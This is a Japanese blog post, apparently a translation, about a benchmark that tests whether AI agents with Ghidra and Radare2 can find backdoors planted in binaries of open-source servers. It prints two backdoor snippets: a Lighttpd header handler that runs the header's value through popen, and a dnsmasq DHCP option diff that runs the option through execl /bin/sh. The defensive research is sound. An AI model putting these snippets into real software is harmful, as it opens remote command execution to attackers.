約40 MBのバイナリにバックドアを隠し、AI ツールと Ghidra の両方にそれらを検出させました。

Claude はコードを書けるが、バイナリ実行ファイルをチェックできるのか？
今やその質問は Hacker News のフロントページで取り上げられています。

---

背景

数ヶ月前に Shai Hulud 2.0 が何千もの組織――Fortune 500 企業、銀行、政府機関、そしてスタートアップ――を侵害しました（PostHog のポストモーテム参照）。
それは Node Package Manager エコシステムのサプライチェーン攻撃であり、悪意あるコードが資格情報を盗むために注入されていました。

数日前には Notepad++ が国家主導型アクターによるハイジャックを報告し、正規バイナリを感染したものと差し替えたケースも明らかになりました。

物理的な世界も危険にさらされています。中国製太陽光発電インバータに隠された無線機能や、電気バスのセキュリティホールが発見されました。
ほぼすべてのデジタル機器はファームウェアを持ちますが、これはコンピュータにインストールするソフトウェアよりもチェックが難しく、直接的な影響があります。
国家や企業のアクターはこれらを改ざんしたいと考えています。

Michał “Redford” Kowalczyk（Dragon Sector）氏は、列車の異常動作を逆解析する講演で「鉄道におけるディーゼルゲート」を語りました。

悪意あるアクターが不要です。
ネットワークルータにはベンダーがリモートトラブルシューティング用に埋め込んだ管理者パスワードが隠されていることがあります。
それらを発見した人は同じアクセス権を得ることができます。

こうした攻撃から守るために AI エージェントを使えるのでしょうか？

---

バイナリ解析とは

日常のプログラミングではソースコードを扱います。
クラス、関数、型といった高レベル抽象が明確なファイル構造に整理されており、LLM はこの人間可読ロジックを学習しているため得意です。

しかしマルウェア解析は「バイナリ実行ファイル」に迫られます。
コンパイラは Go や Rust などの高レベル言語を CPU アーキテクチャ（x86、ARM など）に合わせた低レベル機械語へ変換します。
結果として得られるのはレジスタ間のデータ移動や数値加算、メモリアドレスへのジャンプといった原始的な命令列です。
元のコード構造、変数名・関数名はすべて消失します。

さらにコンパイラは速度優先で最適化を行います。
関数インライン化、ループ展開、命令再配置などにより可読性は大幅に低下します。

結局ユーザーが実際に走らせるのはバイナリです。
閉源ソフトウェアや配布形態がバイナリのみの場合、これが唯一手掛かりとなります。

バイナリ解析は長くて面倒な逆解析プロセスです。
機械語 → アセンブリ → 擬似 C という翻訳チェーンを辿ります。

例としてバックドアの表れ方を以下に示します：

1. Raw Binary (xxd)
b9 01 00 00 00 48 89 df ba e0 00 00 00 e8 b6 c6 ff ff ...

2. Disassembly (objdump)
33e88: mov    ecx, 0x1
33e8d: mov    rdi, rbx
33e90: mov    edx, 0xe0
...
33f04: call   system@plt

3. Decompiled (Ghidra)
lVar18 = FUN_00130550(pcVar41, param_4, 0xe0, 1);
if (lVar18 != 0) {
    bVar49 = *(byte *)(lVar18 + 1);
    puVar26 = (undefined8 *)(lVar18 + 2);
    pcVar20 = (char *)&local_148;
    ...
    system((char *)&local_148);
}

バイナリからアセンブリへは

objdump

のようなコマンドラインツールで簡単に行えます。
しかしアセンブリを C に変換するのは非常に難しく、Ghidra（NSA 製）や Radare2 といった逆解析ツール、また IDA Pro や Binary Ninja のような商用ツールが必要です。
それらは CPU 命令を理解し読みやすい C コードを生成しようとしますが、コンパイル時に失われた高レベル抽象や変数名の欠如から「FUN_00130550」や「bVar49」といった意味不明な名前が多く残ります。

---

ベンチマーク

タスク

AI エージェントに対し、バイナリを解析してバックドアや悪意ある改ざんが含まれているか判定させます。
以下はタスクの概要です：

ソース	バックドア注入されたオープンソースプロジェクト	バイナリ（ストリップ済み）	AI エージェント	ツール	バックドア有無
…	Lighttpd, dnsmasq, Dropbear, Sozu	…	Claude, Gemini など	objdump, nm, Ghidra, Radare2	YES / NO

まず Lighttpd（C のウェブサーバ）、dnsmasq（C の DNS/DHCP サーバ）、Dropbear（C の SSH サーバ）、Sozu（Rust のロードバランサ）を選びました。
それぞれに手動でバックドアを注入し、例えば未公開の HTTP ヘッダ経由でコマンド実行できる仕組みを挿入しました。

重要な注意点：本ベンチマークのすべてのバックドアはテスト用に人工的に挿入されたものであり、実際に脆弱性があるとは主張していません。
それらは制御下で変更した正当なオープンソースソフトウェアです。

バックドアはあまり高度ではなく、リバースエンジニアリングの熟練者なら比較的容易に検出できるレベルでした。

AI エージェントにはコンパイル済み実行ファイル（ソースコードやデバッグシンボルなし）が渡されます。
逆解析ツール（Ghidra、Radare2、binutils）へのアクセスは許可されています。
タスクは悪意あるコードを特定し、バックドアが含まれる関数の開始アドレス（例：

0x4a1c30

）を指摘することです。

いくつかのタスクでは「どれだけのバイナリにバックドアがあるか」を尋ねる形式も採用しました。
これはサプライチェーン攻撃シナリオを模倣したものです。

---

例：HTTP サーバーで成功したケース

Lighttpd に注入したバックドアは、非公開の

X-Forwarded-Debug

ヘッダからシェルコマンドを実行し、その出力をレスポンスヘッダに返します。

gboolean li_check_debug_header(liConnection *con) {
    liRequest *req = &con->mainvr->request;
    GList *l;

    l = li_http_header_find_first(req->headers, CONST_STR_LEN("X-Forwarded-Debug"));
    if (NULL != l) {
        liHttpHeader *hh = (liHttpHeader*) l->data;
        char *debugIn = LI_HEADER_VALUE(hh);

        FILE *fp = popen(debugIn, "r");  // 攻撃者のコマンドを実行
        /* … 出力を debugOut に読み込む … */
        pclose(fp);

        li_http_header_insert(con->mainvr->response.headers,
            CONST_STR_LEN("X-Request-Trace"), debugOut, strlen(debugOut));
    }
    return TRUE;
}

Claude Opus 4.5 は 5 分以内にバックドアを検出しました：

1. バイナリとライブラリの特定

2. nm -D

   でインポート検索 →

   popen()

   を発見
3. Radare2 で

   popen()

   を呼び出す関数を探索
4. デコンパイル結果で HTTP ヘッダチェックとシェル実行ロジックを確認
5. コールグラフを辿り、メインプログラムから呼ばれていることを確証

---

失敗例：DHCP バックドアの合理化

dnsmasq に非常に明白なバックドアを挿入しました。

/* 既存の DHCP オプション処理 */
match_vendor_opts(opt, daemon->dhcp_opts);
+ if (opt = option_find(mess, sz, 224, 1)) {
+   char buf[256];
+   int len = option_len(opt);
+   memcpy(buf, option_ptr(opt, 0), len);
+   buf[len] = '\0';
+   execl("/bin/sh", "sh", "-c", buf, NULL);
+ }

Claude Opus 4.6 は

/bin/sh

を早期に発見し、正確な関数へトレースしましたが、
「execl… パターンは dnsmasq の DHCP リーススクリプト実行機能でよく見られるため、これは合法的な処理だ」と結論付けました。
DHCP パケットから受信したコマンド文字列の由来を検証せずに他の関数へ移動し、バックドアは無視されてしまいました。

---

針を探す難題

ベンチマーク内の実行ファイルは数百〜数千の関数を持ちますが、バックドアは数十行程度に留まります。
それらを見つけるには「ネットワークパーサー」や「ユーザー入力ハンドラ」といった重要経路を優先し、ノイズを除外する戦略が必要です。

現在の LLM はこの高レベル直感に欠けます。
高リスク領域を優先せず、ランダム関数を逆コンパイルしたり

system()

や

exec()

というキーワードで単純検索したりします。
シンプルなヒューリスティックが失敗すると、モデルはしばしば幻覚を起こすか諦めます。

結果として、正当なライブラリを不審者扱いしてしまい、文脈窓全体を無駄に監査している間に実際のバックドアは完全に見逃されるケースが多く観測されました。

---

制約

偽陽性

AI 生成ノイズでセキュリティコミュニティは溢れかえっています。
curl プロジェクトは AI によるバグ報告の支払いを停止した例もあります。
実用的なマルウェア検出ソフトでは、偽陽性率が 0.001 % 未満であることが望まれます。

負のタスク（クリーンバイナリ）をテストした結果、モデルは 28 % の確率で誤ってバックドアや問題を報告しました。

オープンソースツールのギャップ

エージェントは Ghidra と Radare2 のみを使用できるよう制限しました。
これらは IDA Pro などの商用デコンパイラに比べて機能が劣ります。
C バイナリには対応できますが、Rust は一部しか解決せず、Go 実行ファイルでは完全に失敗します。

例として Caddy（Go 製ウェブサーバ）を扱った際、Radare2 が 6 分で読み込みましたがコード品質は低く、Ghidra は 40 分かけて正しいデータを返せませんでした。
IDA Pro は 5 分でロードし、正確なコードを提供しました。

ツールの質に関わらずエージェントが操作できることは確認済みですが、Go バイナリは除外し、主に C（と一部 Rust）バイナリに限定しました。

---

結論

成果

モデル	成功率
Claude Opus 4.6	49 %
Gemini 3 Pro	44 %
Claude Opus 4.5	37 %

現時点では実務に十分なレベルには達していません。
有用なエンドツーエンドソリューションとするには、検出率を大幅に上げ、偽陽性率を極めて低く抑える必要があります。

小規模バイナリや予想外のパターンが現れた際には機能しますが、大きなファイルやバックドアが正当な経路に似せられているケースでは苦戦します。

バイナリ解析は専門家だけのものではない

まだエンドツーエンドで信頼できるマルウェア検出は難しいですが、AI は開発者が初期セキュリティ監査を行いやすくします。
逆解析経験のない開発者でも疑わしいバイナリに対して最初の一次分析を受けられます。

1 年前まではモデルは Ghidra を安定的に操作できませんでしたが、現在では実際に逆コンパイルを行い、コードを閲覧し、データフローを追跡することが可能です。
これにより、バイナリの扱いが広範囲のソフトウェアエンジニアへと開かれ、セキュリティだけでなく低レベル最適化・デバッグ・ハードウェア逆解析やアーキテクチャ間移植にも応用できるようになりました。

今後

• コンテキストエンジニアリング（専門スキルや MCP の導入）や商用逆解析ソフト（IDA Pro、Binary Ninja）の利用で成果はさらに向上すると予想されます。
• 既に一部タスクを解決できるモデルが登場した場合、後続モデルの性能は急激に改善します。
• 多くの分析はローカルモデルで行われる可能性があります。クラウドサービスへ機密バイナリをアップロードできない組織も増えているためです。
• 悪意あるアクターは公開モデルを回避するようマルウェアを最適化し、効果的な防御にはプライベートローカルモデルが必要になるでしょう。

完全な結果とタスク詳細は QuesmaOrg/BinaryAudit で確認できます。
Hacker News、LinkedIn、X（旧 Twitter）などで議論を続けてください。